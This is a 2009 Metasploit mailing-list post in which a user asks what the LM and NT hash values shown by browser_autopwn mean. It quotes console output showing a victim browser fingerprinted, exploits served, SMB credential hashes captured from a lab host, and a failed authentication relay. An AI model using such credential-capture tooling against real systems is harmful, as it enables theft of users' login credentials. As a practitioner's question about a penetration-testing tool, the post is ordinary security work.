Metasploit mailing list archives

browser_autopwn hash view questino

From: jeffs at speakeasy.net (jeffs)
Date: Fri, 03 Apr 2009 21:14:37 -0400

I see the output below when running browser_autopwn, and I'm used to 
seeing LMHASH and NTHASH in a different format.  So what exactly is the 
output of the LMHASH and NTHASH as listed below by the browser_autopwn?  
Are they indeed the LMHASH and NTHASH from the target system?

Thanks!


msf auxiliary(browser_autopwn) >
[*] Request '/test' from 192.168.1.102:1045
[*] Recording detection from User-Agent
[*] Browser claims to be MSIE 7.0, running on Windows XP
[*] Responding with exploits
[*] Received 192.168.1.102:1047 DELL\john 
LMHASH:643368153ca3d7d76810b65f160917c4ec48837f27e19748 
NTHASH:38604acd3d1300d0725aefbd89944120ffc12974e2f251f7 OS:Windows 2002 
Service Pack 3 2600 LM:Windows 2002 5.1
[*] Authenticating to 192.168.1.102 as DELL\john...
[*] Failed to authenticate as DELL\john...
[*] Sending Access Denied to 192.168.1.102:1047 DELL\john

Current thread:

browser_autopwn.rb question jeffs (Apr 02)
- browser_autopwn.rb question egypt at metasploit.com (Apr 02)
  - browser_autopwn hash view questino jeffs (Apr 03)
    - uneven results with ms09_002_memory_corruption jeffs (Apr 03)